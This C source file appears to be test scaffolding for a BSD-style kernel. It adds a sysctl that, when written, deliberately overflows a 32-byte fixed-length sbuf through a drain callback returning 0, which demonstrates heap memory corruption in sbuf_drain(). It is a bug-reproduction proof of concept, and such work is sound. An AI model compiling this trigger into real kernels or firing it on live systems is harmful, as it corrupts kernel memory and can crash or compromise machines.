/*
 * DF-2845 in-kernel trigger (guest-only test scaffolding; never part of sys/).
 * Registers debug.df2845_trigger: writing 1 overfills a 32-byte FIXEDLEN
 * sbuf whose drain callback returns 0 ("consumed nothing, no error"),
 * exercising sys/kern/subr_sbuf.c:sbuf_drain()'s unvalidated return path.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/sbuf.h>
#include <sys/sysctl.h>
#include <sys/errno.h>

static int	df2845_trigger;

static int
df2845_drain_ret0(void *arg, const char *data, int len)
{
	kprintf("DF2845:        drain called with len=%d -> returning 0\n", len);
	return (0);
}

static int
df2845_sysctl(SYSCTL_HANDLER_ARGS)
{
	struct sbuf *sb;
	char payload[256];
	size_t i;
	int rc, error;

	error = sysctl_handle_int(oidp, &df2845_trigger, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);

	kprintf("DF2845: [1] allocating 32-byte FIXEDLEN sbuf\n");
	sb = sbuf_new(NULL, NULL, 32, SBUF_FIXEDLEN);
	if (sb == NULL) {
		kprintf("DF2845: sbuf_new failed\n");
		return (ENOMEM);
	}
	kprintf("DF2845: [2] installing 0-returning drain\n");
	sbuf_set_drain(sb, df2845_drain_ret0, NULL);

	for (i = 0; i < sizeof(payload) - 1; i++)
		payload[i] = 'A' + (i % 26);
	payload[i] = '\0';

	kprintf("DF2845: [3] catting 255 bytes (first drain fires at byte 32)\n");
	rc = sbuf_cat(sb, payload);

	kprintf("DF2845: [4] sbuf_cat rc=%d s_error=%d s_len=%zd s_size=%zd "
	    "(buffer kmalloc'd for 32 bytes)\n",
	    rc, sb->s_error, sb->s_len, sb->s_size);
	if (sb->s_len >= sb->s_size) {
		kprintf("DF2845: OVERFLOW CONFIRMED: %zd byte(s) written past "
		    "the end of the 32-byte heap allocation\n",
		    sb->s_len - sb->s_size + 1);
	} else {
		kprintf("DF2845: BLOCKED: no overflow, sbuf error discipline "
		    "held (fix present?)\n");
	}
	/* Intentionally no sbuf_delete(): state is the evidence. */
	return (0);
}

SYSCTL_PROC(_debug, OID_AUTO, df2845_trigger, CTLTYPE_INT | CTLFLAG_RW,
    &df2845_trigger, 0, df2845_sysctl, "I",
    "DF-2845: overflow a FIXEDLEN sbuf via 0-returning drain");
